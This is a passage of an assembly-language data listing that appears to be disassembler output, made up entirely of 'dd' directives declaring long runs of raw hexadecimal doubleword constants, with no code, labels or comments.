		dd 0C7460039h, 0A60E91h, 3D19A0AEh, 1703A3E3h, 81750C01h
		dd 0C9769886h, 4DF220h,	3993A7E4h, 1B8353Bh, 53EDB200h
		dd 0C53D5DE5h, 8BD80ECFh, 5A0B929Eh, 20A15580h,	0A50054C0h
		dd 61378C1Fh, 0E0B15CBEh, 895D0025h, 0F867DBF9h, 2700F307h
		dd 0B0C8A2BFh, 0A06E80DDh, 2097D9h, 6052028Ah, 750F25C4h
		dd 0D559F000h, 351162C0h, 58CA03AEh, 0B45B3F7Bh, 0D3E7F7A8h
		dd 0F6C8BA03h, 0B864477Fh, 78030Ch, 951FF14h, 0C2C459D1h
		dd 238F0850h, 0D055B200h, 0FF332F11h, 149B1C61h, 185F007Bh
		dd 875C90Bh, 7ED2E816h,	0C0DBCA0Eh, 7910C158h, 0DAF70B0Ah
		dd 4200EE30h, 1CF99C3h,	1D34B300h, 0F7DBF3D9h, 7E3C0148h
		dd 0DAE98B12h, 0E475E8D6h, 0D139F601h, 3BD23AE0h, 0A0D783EFh
		dd 0E0B72FDh, 0F3EC0477h, 2B740540h, 63981B7Ch,	5BE7E200h
		dd 0B3C4C3F7h, 7FC29h, 0A74BAF46h, 0F30EE57Eh, 4AD2332Eh
		dd 0AA8B5600h, 7123DC0Ch, 83050008h, 1175FFFEh,	0B03CA80h
		dd 9FF381F2h, 516C15Bh,	248F1DCh, 0A8FFCDC3h, 2EE00437h
		dd 2C033AE5h, 0AAAEC023h, 2F91E8AFh, 8C2B0728h,	0A07C6622h
		dd 7A7B6A8Bh, 8EF39D3Fh, 2059215Dh, 0C8901D07h,	0F0950ECAh
		dd 562072F9h, 2992B3F4h, 0F2F539h, 3BD823D6h, 1123371h
		dd 7D5B022Fh, 0D8464915h, 17280ADh, 7C20F900h, 300AAC11h
		dd 1C05001Ah, 0ABB88FD0h, 0E238D331h, 60A5800Fh, 5CFBE02Ah
		dd 6711Ch, 8B1FFAC1h, 99E63AC2h, 0F8D33300h, 487FAD38h
		dd 7F5E76F9h, 0E7C30h, 4C65E6E8h, 0D8F8EA39h, 41919700h
		dd 750A4D8Ah, 24051727h, 372101DAh, 0E86048B8h,	0F4712C12h
		dd 0BF0A290Fh, 1F09A098h, 38A640Ch, 15BD595Eh, 88F863FCh
		dd 0F10052ECh, 4D91421Ch, 0FE66C0Bh, 685DF82Bh,	504E7CE1h
		dd 3C0F6083h, 2F0F0100h, 453366BCh, 987B7530h, 9D447EACh
		dd 0D424E00h, 0E1F2302h, 3F1143h, 0F4C76603h, 16974B6Ch
		dd 7F9AB3h, 92520989h, 64580A38h, 44C03E7h, 0F8D38056h
		dd 0D0BFA4h, 29403B34h,	0C82A23E9h, 0E8150A0Ch,	2E78407Ah
		dd 83B327h, 0E3B4BC8Bh,	2500AA13h, 0BAED31EFh, 799D5788h
		dd 0F22912F5h, 63CF004Ah, 2CA3E1D3h, 3200BF90h,	28150183h
		dd 7331B10h, 38052089h,	4E46C0F2h, 0F31C9892h, 0AC4025FFh
		dd 0A8C51454h, 0A4080032h, 9C1CA039h, 9803478Eh, 53859421h
		dd 0D7A3F0B8h, 83430705h, 715CCC3Dh, 0F90A7D03h, 0E84A80E2h
		dd 6850385Ah, 7C6A001Ch, 3E8F2D40h, 143D467Bh, 8EA3A60Ch
		dd 43A15300h, 0F35031h,	893D0DB7h, 3E19E01Dh, 4F4C150Fh
		dd 9FE80083h, 0A32F28h,	541CD422h, 31BF56E7h, 1400A57Ch
		dd 7CC5771Eh, 3E4E3215h, 7E802DAFh, 29977A0Ah, 1307282Bh
		dd 3F140819h, 0B11E07Fh, 4CA7CAh, 0C80D8A86h, 58B281Dh
		dd 0FF84D0A0h, 0FB013E78h, 6D2C1535h, 9270C3C1h, 346E0356h
		dd 18C5BA7h, 8BE022D0h,	1273BD00h, 538804D9h, 0F8C40081h
		dd 844B50ACh, 0A00A9E9h, 48D4A185h, 0AD8734h, 0D732D5D0h
		dd 82D80F2Fh, 92EE660h,	0A0821h, 1394A0A1h, 0B8180EA3h
		dd 0E80B9C00h, 93324A2Bh, 49080012h, 0BA28047Bh, 63759513h
		dd 7C75F200h, 295026F9h, 923D009Dh, 32AC4D8Bh, 0DA005351h
		dd 0D5902A5Dh, 0E194Eh,	0F230090Ch, 86C59E3Fh, 0D835FF00h
		dd 0B4B9283Dh, 0AF38004Eh, 20D94A21h, 161ECC32h, 34C05085h
		dd 9658ADCh, 78C7988h, 0EB604CD3h, 483DC321h, 7ECC24F9h
		dd 2100B112h, 1CF73EC4h, 23B880BCh, 34E2B403h, 0E3303172h
		dd 28183E2Ch, 20912407h, 18E4A0C8h, 393B1472h, 8F0C9F10h
		dd 440085Fh, 0FCCA11EEh, 0F8E53080h, 0F039F460h, 8EEC1C00h
		dd 82F3E810h, 30E476CAh, 0DC22E065h, 1C09D839h,	83538ED4h
		dd 0E044291Bh, 7C84091h, 0BC92653Ch, 0C00230A5h, 0FF02E181h
		dd 8F319844h, 0C9984017h, 27080049h, 5211108Ch,	341DE4E2h
		dd 519D1821h, 0F3220D80h, 989FF035h, 3DF17AF4h,	390672F2h
		dd 0E4F51CF4h, 0F723F600h, 0F9C8F891h, 72FA01E4h, 1CFC39FBh
		dd 0FE228CFDh, 1E0087Fh, 0E291E123h, 0C4E4E3C8h, 3900E572h
		dd 8EE71CE6h, 9843E879h, 0EFE9013Bh, 6518EA8Ah,	0ECEE81EBh
		dd 0EE1CED39h, 23804ABFh, 0C8D191D0h, 0D33AE4D2h, 0D504F477h
		dd 0D739D672h, 0D96440EFh, 0DB91DA23h, 0E4DCC800h, 39DE72DDh
		dd 0C01C30DFh, 0C223C122h, 0C8C39100h, 72C5E4C4h, 0C7391EC6h
		dd 0C907601Ch, 0CB91CA23h, 0CD020089h, 1939CE72h, 22B01CCFh
		dd 91F560B1h, 0B4C8B300h, 0B672B5E4h, 1CB71839h, 23B922B8h
		dd 0BB91BA00h, 0BDE4BCC8h, 39BE0072h, 0B8DC14BFh, 540043C9h
		dd 861BE882h, 0F0D0211Ch, 793AF050h, 4A280F44h,	0B762FC55h
		dd 84C39FCFh, 0C2991E8h, 10787406h, 0E234F995h,	132000Eh
		dd 754943BEh, 9390618h,	63780345h, 0E8747065h, 0FE559089h
		dd 0A838003Dh, 0DC104420h, 68005456h, 1C729CA1h, 480A45h
		dd 5B706165h, 5C5EEC51h, 0E726C874h, 100D044h, 754F450Ch
		dd 66CC0074h, 6D65044Dh, 7901726Fh, 4815DCECh, 17305C56h
		dd 90B87540h, 60BEA87h,	0DD6E4945h, 0F9E36EBDh,	9058D8A0h
		dd 4839EFE8h, 10C0766h,	6EF06574h, 7206C61h, 58AFF8D8h
		dd 54734064h, 88032BC4h, 6C475A12h, 0FC57E808h,	604000D4h
		dd 100924EAh, 0CA020EA4h, 58B015B8h, 78DA80ECh,	70850Ch
		dd 4402450Ah, 79427669h, 0BB805A06h, 0DE4C906Fh, 1D0AF16Ah
		dd 52C0C0C9h, 676E6101h, 602B6543h, 0ECCD9F5h, 0BF0C48F2h
		dd 764F2800h, 6C6609AFh, 0A5776F00h, 5C7BBC74h,	1A4E823h
		dd 0C245D64h, 0F8614D02h, 0B3019868h, 59571490h, 0A0D7A158h
		dd 0EE427018h, 1B4E6E9h, 69196076h, 0F44F1D64h,	7AC1AB90h
		dd 84F40E6Ch, 2CB789F0h, 0DA5C025h, 0CE1EC42Bh,	8A6CC10Eh
		dd 11D04C61h, 0F95A001Ch, 7D0840A4h, 6E245505h,	90012764h
		dd 0C8585E74h, 5897EBD0h, 8A00FE88h, 6F501D60h,	850ED93Ch
		dd 0BC5CD02Bh, 0E50C12C1h, 58D1F930h, 1EA43E8h,	70744D73h
		dd 0F65B2C11h, 0D4A7FA8Fh, 4345100Dh, 0B0E8BA6Fh, 0DCD88A28h
		dd 14C14ADCh, 10A0CCCEh, 63E941F9h, 177338F4h, 8956AEh
		dd 8E926168h, 0E807BCA1h, 0C21E8BF7h, 0C78C1750h, 5078072Ch
		dd 60799A72h, 1FE4656Ch, 5C959001h, 4340F8B8h, 20E0A80h
		dd 61745345h, 656B6301h, 9C900A81h, 0E843F6FCh,	910900BCh
		dd 0E741270h, 0F2396C6Bh, 58F4870Ah, 234045F6h,	156B8C8h
		dd 730D6148h, 0C450A094h, 0CD078F5Dh, 0A45C4E40h, 0C582C8B0h
		dd 107D0C65h, 6FC0465Ah
		dd 8764493Eh, 0D960B02Bh, 431B0E39h, 0C0C26204h, 0FC734272h
		dd 0C9012BDh, 0A1B60E57h, 0A40F00BDh, 0B266ACA0h, 0A6393Eh
		dd 0E903FF69h, 0E7F24F2h, 77535432h, 0C1650013h, 661F10EAh
		dd 4EF3F700h, 98DF085Dh, 13060001h, 146AB55Bh, 8F0078DEh
		dd 0A1E5B2CBh, 0A890E0h, 9561DBE8h, 41E0FA4h, 0BAC35B00h
		dd 10A93629h, 17420020h, 0B1743A62h, 6000D325h,	0BA8F892h
		dd 83E79h, 0C60F7889h, 4F10FC45h, 0BAE54D00h, 0E8B642B0h
		dd 0DD5500BBh, 2BC256ADh, 221C6925h, 3AFB028Ch,	51530064h
		dd 0D419AADEh, 2A17078Ah, 0D03FB2F6h, 0E95AC393h, 6F00787Dh
		dd 0E3C64B7Fh, 1F82584h, 0FF3C6BF3h, 0F84E6A1Eh, 5C3C8A02h
		dd 85F5803Eh, 0CFE1B88h, 0B8C50046h, 35119750h,	0E2002E0Eh
		dd 6A0F10A8h, 23C03h, 884F0675h, 0C97FFF85h, 77C77C0Bh
		dd 20680E9Ch, 0AFB9FD2h, 905F24E0h, 974E003Bh, 8D5705F0h
		dd 0B901560Eh, 0BB7FA74Ch, 2C108AC7h, 3E5C78A0h, 8080953Ah
		dd 0DAACE805h, 0E93E0845h, 50330173h, 5264F0DCh, 1E48F860h
		dd 40FC96F8h, 416D2B0Eh, 401DB297h, 0FFF7EEh, 145A8FBFh
		dd 0A51983h, 0B6F41CECh, 0FA0E3816h, 1ADD1E01h,	0A0EB080Dh
		dd 0C4DFCh, 529D6590h, 0F0452926h, 38911A01h, 88EAEE10h
		dd 1C3C4D0h, 0C2324FABh, 0CC9013BCh, 0C70129A1h, 30A73997h
		dd 0B8CC60D0h, 0C8F0FFFEh, 0D7140E89h, 764090C3h, 4B34D66Fh
		dd 70F4CA3Fh, 2B741100h, 3FF1E9C1h, 0AFA61C42h,	0C4C640D1h
		dd 21335DFFh, 2276FD1Ch, 0EFF2EE80h, 3CB0F3h, 0A643164Ah
		dd 573FFC62h, 0AA77560Eh, 0F7E38073h, 173CFFD1h, 0ECCA9Bh
		dd 29384432h, 5E098C47h, 0D853515Fh, 4ACB0029h,	5D7F04Ch
		dd 751F54C1h, 0F6404101h, 19962DAAh, 655A00D9h,	0D66B7817h
		dd 5B001A11h, 865C4A63h, 6DD734h, 0C031CB0Ch, 83326809h
		dd 0D9633700h, 0F3D2E124h, 7F876A6h, 0FF460B8Ah, 0A3067080h
		dd 1E000A08h, 8303777Ah, 0DAC3E8h, 0FA202157h, 0EA01C23Ah
		dd 0D00129ECh, 4858D874h, 9C20A750h, 5F151FA2h,	5EFF4088h
		dd 0CA41EF89h, 0A40048FAh, 1226C446h, 7C509C9h,	5325F254h
		dd 0AFB0A0ECh, 0F5727B5Ah, 182C8C00h, 66B542BFh, 0B49000ACh
		dd 5DD950CCh, 0FB00F2F8h, 5761F0Eh, 8B9BBBh, 204A6C26h
		dd 18A3390h, 4B00D57Fh,	0C81DC4D3h, 208D613h, 0C6064FE3h
		dd 0AD401C04h, 0A0FB02Ah, 0EFBAF520h, 5480DC8Dh, 0BD04FC12h
		dd 0DC344825h, 75A66900h, 9C644E10h, 1BD52800h,	14E38029h
		dd 2EE73B6Fh, 9DFBE600h, 0C697A7E4h, 8C5E880Fh,	5D8980C1h
		dd 66D42Fh, 3CEAB91h, 487DDD24h, 4A18FC0Eh, 690C0E1h, 2F027F4h
		dd 0E4F1B50h, 50E0EBB0h, 320310ACh, 7DAA1425h, 13DBC88Ah
		dd 3C05002Bh, 219663E9h, 0C00FD31h, 0B05618E8h,	0E4EC88FEh
		dd 0EB450030h, 5752D1Ch, 0DA0031C0h, 525DE8ACh,	7E99Dh
		dd 0BB0AFD3Ah, 0C8256034h, 0DF0FEBFEh, 61E414C4h, 2E903089h
		dd 382965C4h, 0F726B4h,	751EE073h, 0B1BE51DCh, 5A1BA601h
		dd 904AA48Bh, 273C0h, 7D80DB31h, 0A9AEB67h, 0C1CAC700h
		dd 24D10104h, 2BA4009Ch, 0F0CCB87h, 0AAFE20B0h,	68520E00h
		dd 0BFF47D3Eh, 8A360089h, 0E806B2E0h, 8700516Fh, 9E8B5931h
		dd 76B59FE9h, 6DC10015h, 0A842274h, 3C707230h, 37773903h
		dd 0D848DB6Bh, 1DA701D4h, 43C0B661h, 38052C3h, 70E49491h
		dd 0D200B13Fh, 2C72BC53h, 106333Bh, 10FF1277h, 0C80C80A0h
		dd 0A3007C48h, 551C2667h, 865874h, 0FEACDC4Fh, 88DF1624h
		dd 7CF8C100h, 52733C9Bh, 85C0081h, 8D0C0E75h, 0C200DE34h
		dd 0FEB60F06h, 2402A3h,	6062D29Dh, 0C863C612h, 88160800h
		dd 0EB11642Dh, 445D0F22h, 5FADCDh, 6E198763h, 9E29121h
		dd 3C29E700h, 1175991Ch, 0B514502Ah, 405858E8h,	962CD300h
		dd 29DC4D03h, 0EAD13Bh,	5D8D9FA1h, 41F6D0h, 0A42F1399h
		dd 80E6530Ch, 44F91600h, 5528B074h, 0C12A00EAh,	0D075580Ah
		dd 0D3002DB9h, 0F723EB04h, 19AD43h, 1574800Fh, 48831B26h
		dd 5BFDE101h, 0F166E8FCh, 0B022F8h, 884E412Dh, 0F2C35A06h
		dd 8D09D300h, 595CAF75h, 12C1032Eh, 1084BD03h, 0EC163C91h
		dd 0E21EBC92h, 3A80D94Ch, 7657872h, 28FC4Eh, 3B448F1Eh
		dd 0DD80F789h, 75D00900h, 144D8DCAh, 0F12900AFh, 0DEE02591h
		dd 727212F8h, 78043900h, 0B0060A76h, 98B10030h,	0B7AAB50Fh
		dd 1524108Fh, 3D1D88h, 0E0953D85h, 179360h, 7902C009h
		dd 0E8D8F70Eh, 8700ED7Eh, 5DE99F96h, 7B67B94h, 0EA753258h
		dd 183DB0CEh, 0E000BA53h, 150189FEh, 3BD10F22h,	2F1DD429h
		dd 40241F70h, 5B44FDC2h, 96001E52h, 3142EB02h, 2191C9h
		dd 0E98215B0h, 0C8A240ACh, 350009FCh, 273624BEh, 0C3760595h
		dd 931DA9AAh, 0F0719DF0h, 6AD6DB00h, 0EBE5AEAFh, 174A000Bh
		dd 982347Ch, 0BA4F74F6h, 4D3B7EC0h, 37748E0h, 20CF013h
		dd 0B28660D1h, 0CBF27E60h, 99E32903h, 88F94F6Fh, 5FB643h
		dd 44504120h, 4525C740h, 36A9E005h, 0CCC00418h,	0B7FCA8h
		dd 2EB3A01h, 0B36ECC70h, 3B47EF00h, 0CEFF3F74h,	45790Eh
		dd 1F02C838h, 90129F46h, 0A398037Fh, 84DF51Fh, 4B38343h
		dd 7349F0B8h, 139F206h,	0BA2576C2h, 0E0C5D752h,	4131B75h
		dd 0E0015C3h, 0C68BA688h, 3BA02BEh, 0F8833D2Dh,	0B8117840h
		dd 53130F00h, 8FFA4350h, 5F20089h, 3DE8CF46h, 4F3F9272h
		dd 0F96200C1h, 0D95550C3h, 5C9F908Ch, 5D0959F7h, 62004A11h
		dd 247E0B0Ch, 0F1A96F00h, 63B86164h, 4FC30120h,	0C19E194h
		dd 0CEC28309h, 98D730E8h, 517B2Eh, 1F034467h, 0CBDCEC6Dh
		dd 5000697Ah, 87911384h, 1C89D1h, 48547B38h, 90C47881h
		dd 50E23F00h, 4BDFE3BFh, 0C3A800A4h, 3EC09773h,	2C00BBF0h
		dd 4F511002h, 7E098C53h, 5AD100D3h, 2BC1816Bh, 0E0073BCAh
		dd 1CAC247Dh, 75F8E370h, 6E4D0046h, 8D0DEEB8h, 0EF00F685h
		dd 0EB7B5198h, 405D0Ch,	3860C072h, 437CC23Bh, 3000097Dh
		dd 8BFCDB03h, 5444C9h, 9D66CAB5h, 2A95AC4Bh, 39A94700h
		dd 0D8E03A7Dh, 2DA80092h, 8D280EEBh, 0A1016395h, 882F91E4h
		dd 11D45E8Fh, 0DC040094h, 0DD340C92h, 2500D87Ah, 44073C0Dh
		dd 0E429DF83h, 1820057h, 0FBE05A58h, 0BD011179h, 35B961B3h
		dd 16CCB140h, 0EB064CEBh, 5A260500h, 890ECA95h,	925E1100h
		dd 0F01C7404h, 0BA560048h, 45C61310h, 0B21CECFFh, 7341187Bh
		dd 3CFA0C4Dh, 0E8147E8h, 0E04103F9h, 1E8FEA0h, 3A07C9EEh
		dd 69C0B70Fh, 36E58060h, 123C00C3h, 6028F2D2h, 320081EAh
		dd 0D116C203h, 0BE801h,	0D2D60C57h, 0DB78830Ah,	0D8060400h
		dd 0BF673435h, 8B20041h, 8C9B18DDh, 8A7801A7h, 8E9E5E00h
		dd 0A4CB80C0h, 70AA004Ch, 29577149h, 0E7FE78BAh, 0A5DA6900h
		dd 46679D21h, 95790066h, 253C3359h, 0D53076CFh,	7542EE4Eh
		dd 0A780015h, 54F8A10Bh, 1C3FD441h, 0C1F7926Dh,	387BB807h
		dd 81D6A4F0h, 84470024h, 0C72CEF62h, 8A03C9DDh,	0DE28145Fh
		dd 0A6C8A0E4h, 83C10004h, 5CF003E0h, 0D9F8CC21h, 70BEB407h
		dd 7E0D664h, 85F6CEh, 1A21F549h, 520190B9h, 0C6F10F28h
		dd 9E8CFA38h, 34C04FB0h, 0A0CBBBD0h, 6C7D62h, 0FEE78566h
		dd 15FDD80Eh, 1A48A700h, 4057AB13h, 7FE00ECDh, 0E6C0048Dh
		dd 0DCC52534h, 0BFB15603h, 98FE7D01h, 86820Fh, 373AB5A4h
		dd 7727A116h
		dd 26167E79h, 200E0C05h, 0DEF9800Dh, 18FB06h, 0C7FC6C67h
		dd 465C3BF0h, 7732FE00h, 82481562h, 0E7E0E90h, 660018E6h
		dd 0FE4E5C03h, 7501417Eh, 4D2CF767h, 3A704981h,	99A0004Ch
		dd 0F169ECFDh, 3F7C6D62h, 8D67D10Eh, 2BF2403Bh,	3A4D40F0h
		dd 0F9009FB1h, 0C36266BEh, 8100240Ah, 7564D9EEh, 228589h
		dd 0BAFD887Fh, 4D84B34Eh, 7C492C00h, 694214A8h,	773C0092h
		dd 8E5743E7h, 1BFA916Ch, 0F42E467Dh, 0B101388Bh, 0C6FFC461h
		dd 6006E8h, 0E8EC6608h,	50A15683h, 7FCF8ADFh, 5CF8941Ah
		dd 0F6690045h, 0E2A4B14h, 0E9860208h, 7B0A5A3Ch, 0E5BB0EC0h
		dd 0B12E3D00h, 7C054C3Ah, 122D0011h, 0C3560A07h, 28F22AF7h
		dd 9BEF7D03h, 803EF65Ch, 66F44Dh, 0E88EACBAh, 25962355h
		dd 400E7B8h, 610A7775h,	8129FFh, 2CBDF645h, 489B6B28h
		dd 37576400h, 50D6DED8h, 27903B53h, 0B55A1080h,	0CCA88C05h
		dd 57E0C100h, 14921E02h, 0B94B076Bh, 80502CB4h,	0F14DC332h
		dd 9300117Dh, 61745A86h, 4C9CC8h, 1B31FE4Ah, 0CCF45DBCh
		dd 103B8C00h, 150B6C72h, 8029001Ch, 0DF67EB40h,	0DA031E32h
		dd 20C33FDh, 1620D86Ch,	3B8A76F8h, 9F00B099h, 0E80BBC64h
		dd 24009EDBh, 3B0A1956h, 1E479841h, 120EB64Ch, 0C11F75h
		dd 0AF96916Eh, 0DD000158h, 0D1D4611Ch, 7218F704h, 59C30050h
		dd 33879F07h, 0DD1F1644h, 4F813208h, 0E8148170h, 11B57F0h
		dd 0ABD8845Ah, 0DC47A0C1h, 5C002B99h, 73E99B72h, 0DC159Ah
		dd 1023B9B5h, 813DA827h, 8E565E0Bh, 0E18D804Bh,	76A68A7h
		dd 348DB44Eh, 51F4C012h, 0DD76D343h, 501A979h, 88C74945h
		dd 0C3D4FF04h, 651600DEh, 17A3A209h, 390024D3h,	8B507C92h
		dd 126651h, 71026A2Dh, 415795BCh, 8A058600h, 52EB5FE4h
		dd 63FE0278h, 592E51F8h, 5CA7DDE0h, 8037733Fh, 101F05D9h
		dd 3FBD06BFh, 2F00C933h, 89715ACBh, 0F2F60D93h,	770C1D5Ch
		dd 8136D303h, 0F04CB96Fh, 2CC3990h, 9978F068h, 8C4208C6h
		dd 0D8001CD6h, 0BBFC2CDBh, 65600B1h, 1C6514BEh,	440EBF30h
		dd 606A550Bh, 503EAB9Ah, 51E6B9h, 1E5E5F4Ah, 8485343h
		dd 125BCD00h, 0F4910E59h, 7EC6006Bh, 0C4234A3Bh, 38032874h
		dd 0CBC79087h, 2D06E843h, 0A0C00FAh, 0AE750DFBh, 74034461h
		dd 5E2C9022h, 7B99805h,	0F9640EB4h, 988194A8h, 0C8A43206h
		dd 8300D768h, 713152C0h, 0EE2522A5h, 2A53001Eh,	7508F073h
		dd 7A00B19Ch, 176C9562h, 0E9772Ch, 67B024CCh, 96B8BF2Ah
		dd 90A5A600h, 469F4887h, 13D61F2Fh, 7281BFCBh, 0B84078CCh
		dd 8043F034h, 58D048h, 8E2938E3h, 50FF1204h, 22FB39h, 0BE43D47Ah
		dd 0C325B959h, 1E376400h, 0ECB74489h, 4B3F261Ah, 686A062Eh
		dd 0E538520Ch, 0D8948082h, 43B8046h, 0CA3500D6h, 3EB15B6Ch
		dd 17029822h, 5E386DA1h, 9C3060FCh, 0DF90C6h, 0BBA2729h
		dd 0E71A6B09h, 0EDE24B07h, 0EC906813h, 35C64Eh,	0FD730490h
		dd 0D00564FAh, 806A263Ch, 50304253h, 7AF9C68h, 8F36DEEh
		dd 0AC03E1C0h, 4CE1FE13h, 0DBA8D52Ch, 0F8FC23F9h, 0CB03BD8Eh
		dd 8C31909Ch, 0A1D8C84Ah, 9EA400F0h, 496F7121h,	0F73B281Ah
		dd 0AA9C07B2h, 80BB8822h, 0A630B58Bh, 826D090Ah, 2DFC3D60h
		dd 9465B000h, 0E883FEh,	310DD21Bh, 2213F330h, 0F63AD003h
		dd 9BF04A06h, 3239835h,	1E44008Ah, 0D3472CFFh, 2001A31Ah
		dd 0BD7F16F3h, 0E8F85462h, 8E4407DFh, 70D75C92h, 4325FBADh
		dd 17FCC00h, 0D27ED83Bh, 5F5601E9h, 5ACEC712h, 418470AAh
		dd 1690553Eh, 8340A30Fh, 24738A2Eh, 0DC4900A5h,	58FE255Fh
		dd 280097C2h, 83064D9Ch, 5E902C3h, 0BA2A6D47h, 8DA3008Ch
		dd 0FCAC2977h, 0BFC42500h, 4C0F7531h, 0A9980EBAh, 0A0F37833h
		dd 26019CCFh, 113C04C4h, 0F330AC89h, 37FA2h, 4FB4FD56h
		dd 0C5A19D4Eh, 59F63071h, 80047400h, 37C80E75h,	517BCCh
		dd 0FB0F94Ah, 0AB92168Eh, 62D09100h, 26176F78h,	697660h
		dd 47D49339h, 45101A67h, 0C59031Dh, 0C0A5798Eh,	444FCEEh
		dd 0DC7D65h, 0F22CD222h, 9424DA70h, 1D00A2FAh, 2DA5277Dh
		dd 0FCAE1004h, 0C481007Ch, 0E35097A8h, 90179DBBh, 79005ADAh
		dd 0D6D07A85h, 0AC7624h, 0D41A310h, 1BE0BD81h, 75002FECh
		dd 20D86B1Ch, 74FD44EEh, 0A0D40B8Bh, 4F0FE825h,	70758A67h
		dd 18A1701Ch, 3469C3Bh,	2C1D298Bh, 5FCBA839h, 0F8A50090h
		dd 2B0914EBh, 4A00359Dh, 29216AC5h, 77915CB2h, 0D0181244h
		dd 0FE150042h, 1944182h, 213F1203h, 0E87160BBh,	0A2BF11h
		dd 4E44D805h, 829AD415h, 5D1AF600h, 3F216791h, 0E871C4h
		dd 3AD8CBB3h, 58D0A993h, 3140B00h, 1AD72EFFh, 65641FBFh
		dd 0C2B54051h, 0ECA19F21h, 408A4800h, 96930452h, 3DF178A9h
		dd 8D8098BBh, 604BF895h, 1900B383h, 0D862FA2h, 98CF0C89h
		dd 0AC8C3C9Fh, 93800439h, 64B026C8h, 6004BB4h, 2ABD9E7Ch
		dd 4410B8h, 9DFA05BCh, 0C40DC054h, 0F4068900h, 4286C8BDh
		dd 8D2A00CCh, 6A50374Ah, 8800AA8Ch, 0B00B5D49h,	3B7303C9h
		dd 0A983F1DEh, 0AF142DB6h, 0A42E01A8h, 11890900h, 0A5B35AC0h
		dd 244C0002h, 48D7E844h, 8000A136h, 0EBA4B7ABh,	1A6E82h
		dd 401F3F5Eh, 56658C9Dh, 417A2F07h, 0EB001558h,	0FE4B6A38h
		dd 3DCA79A3h, 0A83A5468h, 20102500h, 0B32EFD3h,	22DD4800h
		dd 8D41C3DBh, 7B5A0370h, 0E32E4C99h, 51B8D7D8h,	0DF03C97Dh
		dd 0A2D66184h, 12BBF993h, 1CEEDBE0h, 0D269ED2Ah, 80D31CF1h
		dd 21D7414Bh, 28E47672h, 0B7F4102Ch, 0C02C6E09h, 0A79EA3h
		dd 0C76D146Ch, 78D5C3AEh, 85727D00h, 9CD47ECAh,	0F6FF981Dh
		dd 0D1AA00ECh, 9819DBCBh, 7F00AC65h, 544F090Eh,	7B5299C8h
		dd 8630012h, 0E2E48DA9h, 8A009348h, 735D1047h, 0DBE1A7h
		dd 906AFBE8h, 1EBF020h,	83433D1Ch, 97F0600h, 0DD343Bh
		dd 287ABADCh, 1F0EF175h, 0C8B1702h, 0E04FE091h,	1C55FC66h
		dd 43C0643Fh, 892BEB7Eh, 8ED775E8h, 1A7D0900h, 213DDAF4h
		dd 47541D64h, 0C22DC24Dh, 80F56217h, 0E70C5260h, 4B3E04DDh
		dd 803CCF2Bh, 70D033ABh, 0C7390B2Eh, 71F95400h,	1F79C5A9h
		dd 0C05B2453h, 0B744A19h, 0D8000F06h, 1501EA83h, 2EB1072h
		dd 28F8A123h, 0C440778Fh, 260007DCh, 0C5040F27h, 619333h
		dd 0B03AC748h, 0EB97ABA9h, 5428AC00h, 0E95A5385h, 2673008Dh
		dd 33E02F08h, 658C61Ch,	1F2C007Eh, 96744272h, 243900E8h
		dd 8B898C0Ch, 970044D3h, 20DEB27h, 4C74A119h, 0FF0017F3h
		dd 4EA3D675h, 7EEE46Ah,	0ED28E81Eh, 3F0EEC80h, 100BF0h
		dd 0F82AF47Dh, 50E42DD9h, 0E07670E1h, 0BCACA100h, 0F64D514Ah
		dd 0C49048h, 87AA8E5Dh,	7988F447h, 0E0447400h, 15498BB7h
		dd 18207A5h, 8068D1C2h,	0BA45BC32h, 74E38801h, 8627485Bh
		dd 710BDCh, 64161E80h, 0D553B35Dh, 0EAC87900h, 0BD863E69h
		dd 0ED481FC4h, 5A4EC0C2h, 53885942h, 620055F6h,	0EB4F0E3Ch
		dd 1FC391h, 37F333D7h, 461447F2h, 28213500h, 2FEB1684h
		dd 1250062h, 201DD982h,	3901B0A5h, 4B2C303h, 6870506h
		dd 30100708h, 0B400920h, 0A4810C28h, 16760E7Fh,	0EBE8A007h
		dd 0EA90122Ah, 995634h,	0C4A829CDh, 5725FE98h, 8E17F200h
		dd 6149A65h, 11480BFBh,	840C2884h, 0AA39103Ah, 7B838002h
		dd 0FBD6114h, 11B50022h, 62D25604h, 12FA54C4h, 18738B05h
		dd 2280EA84h
		dd 0E20C0EBEh, 5C8C7992h, 430F077Dh, 0B3EE0FE7h, 0CF61F7E0h
		dd 163FFEDBh, 70E48FA6h, 9684E0E8h, 0D998A4h, 14B8FC66h
		dd 25DA08A1h, 8B378D00h, 2E0A9565h, 93900B9h, 147A67E8h
		dd 450916A6h, 18121B4h,	0B8AE8B21h, 803AA930h, 4724320Bh
		dd 1001F57Ah, 0B5FA84CCh, 30DD0DCh, 0A257A4D4h,	0C0B8F564h
		dd 46B04588h, 0BC2CFE0Fh, 4810A18Dh, 0ED703CDCh, 0EBE262h
		dd 9896995Ah, 0A9849C0Ch, 0A05C3Bh, 0A8438CA4h,	0FE10AC23h
		dd 1027CCAh, 94BCA1C2h,	0C4B4425Ch, 110035CBh, 0D753772Fh
		dd 0F3884Eh, 0B65F4CE8h, 0CBB1E0B8h, 68304B00h,	0FB753F0h
		dd 0A45D00BDh, 3CF3E4A7h, 0E80091FCh, 0C283D0E0h, 0CFB0FDh
		dd 16720839h, 0D7421D74h, 22730A00h, 0E3EAC7C5h, 553B008Fh
		dd 0E5657F45h, 16739A30h, 2BF5830Fh, 0BC75C07Dh, 0F0FCCCh
		dd 0CF24A121h, 56AC14B1h, 80B5C43Dh, 547F15BDh,	59489Ch
		dd 65CD7E06h, 0FA21DB4Bh, 2EC82C0Eh, 0DC56A096h, 163E8E1h
		dd 7EA62F61h, 2023517Ah, 9400F86Ch, 78CE84D2h, 0E65E3229h
		dd 4F7F006Ch, 39A025B1h, 7200A32Eh, 402150A4h, 101BE9h
		dd 0E8A75A28h, 7F30B3BFh, 8C82C700h, 0A4F60450h, 70B75A8h
		dd 14588978h, 0A751B0F3h, 18E898F5h, 12757000h,	380BA2A8h
		dd 50220B77h, 29821155h, 56402039h, 96168274h, 1C0025DBh
		dd 9AD5895h, 3944015Ah,	0C40C60Ah, 54A7E401h, 664D7600h
		dd 56A1AA4Ch, 511A3EFCh, 0AEA22F83h, 0BE01346Ah, 8985D24Ah
		dd 3FB62A4h, 88984296h,	7E2450A8h, 0B0001A8Ch, 0FF6C20BDh
		dd 0AA98BFh, 0D9457F94h, 4D8D73E8h, 0B77158h, 0C8A392D0h
		dd 1C2FD50h, 91CCCA13h,	0F8E50809h, 0F2000C18h,	0D8B888D4h
		dd 1D800BD3h, 0B914FEh,	645A67E1h, 0BE00949Ch, 0DE7960D9h
